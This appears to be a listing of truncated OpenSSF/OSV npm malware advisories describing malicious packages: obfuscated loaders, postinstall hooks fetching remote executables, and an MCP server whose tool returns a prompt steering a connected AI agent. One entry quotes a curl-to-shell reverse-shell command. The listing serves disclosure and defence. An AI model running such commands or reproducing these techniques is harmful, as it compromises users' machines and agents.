npm malware reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-10691 blocks this version. index.js line 5 invokes exec('/bin/bash -c "curl https://reverse-shell.sh/... | sh"'), piping a remote script directly int...

OpenSSF/OSV malware advisory MAL-2026-10745 blocks this version. LPM AI assessed this version as suspicious; the assessments disagree. When the `tool-server` bin is launched, the package...

OpenSSF/OSV malware advisory MAL-2026-10738 blocks this version. The sole shipped file index.js is heavily obfuscated with a base64+RC4 string-array decoder that hides all module names, U...

OpenSSF/OSV malware advisory MAL-2026-10752 blocks this version. The package's sole file i.js (declared as main) is a heavily obfuscated IIFE whose top-level exploit() runs unconditionall...

OpenSSF/OSV malware advisory MAL-2026-10752 blocks this version. The package's sole file i.js (declared as main) is a heavily obfuscated IIFE whose top-level exploit() runs unconditionall...

OpenSSF/OSV malware advisory MAL-2026-10752 blocks this version. The package's sole file i.js (declared as main) is a heavily obfuscated IIFE whose top-level exploit() runs unconditionall...

OpenSSF/OSV malware advisory MAL-2026-10736 blocks this version. memtry-cli installs an MCP server whose `memtry_onboarding` tool returns a prompt that instructs the connected AI agent to...

OpenSSF/OSV malware advisory MAL-2026-10752 blocks this version. The package's sole file i.js (declared as main) is a heavily obfuscated IIFE whose top-level exploit() runs unconditionall...

OpenSSF/OSV malware advisory MAL-2026-10696 blocks this version. The npm package's only file of substance is index.html (declared as `main` in package.json). When opened in a browser, the...

OpenSSF/OSV malware advisory MAL-2026-10696 blocks this version. The npm package's only file of substance is index.html (declared as `main` in package.json). When opened in a browser, the...

OpenSSF/OSV malware advisory MAL-2026-10696 blocks this version. The npm package's only file of substance is index.html (declared as `main` in package.json). When opened in a browser, the...

OpenSSF/OSV malware advisory MAL-2026-10696 blocks this version. The npm package's only file of substance is index.html (declared as `main` in package.json). When opened in a browser, the...

OpenSSF/OSV malware advisory MAL-2026-10694 blocks this version. Package advertises itself as 'A simple cryptographic library for JavaScript applications' but ships no crypto code and exp...

OpenSSF/OSV malware advisory MAL-2025-6694 blocks this version. The package communicates with a domain associated with malicious activity.

OpenSSF/OSV malware advisory MAL-2026-10711 blocks this version. The package ships heavily obfuscated runtime files (dist/index.js, dist/launcher.js) built with javascript-obfuscator. The...

OpenSSF/OSV malware advisory MAL-2026-10711 blocks this version. The package ships heavily obfuscated runtime files (dist/index.js, dist/launcher.js) built with javascript-obfuscator. The...

OpenSSF/OSV malware advisory MAL-2026-10718 blocks this version. scripts/postinstall.js fetches a ~10MB+ 'sciagent' executable over HTTPS from https://u250924-adc6-f977430f.westb.seetaclo...

OpenSSF/OSV malware advisory MAL-2026-10720 blocks this version. LPM AI assessed this version as suspicious; the assessments disagree. The @vibelet/cli package ships a daemon bundle (dist...

OpenSSF/OSV malware advisory MAL-2026-10724 blocks this version. Package runs a persistent worker (invoked via the `aica start` CLI) that long-polls the hardcoded endpoint https://aca.kin...

OpenSSF/OSV malware advisory MAL-2026-10717 blocks this version. LPM AI assessed this version as suspicious; the assessments disagree. The npm postinstall hook runs ensurePlatformBinary()...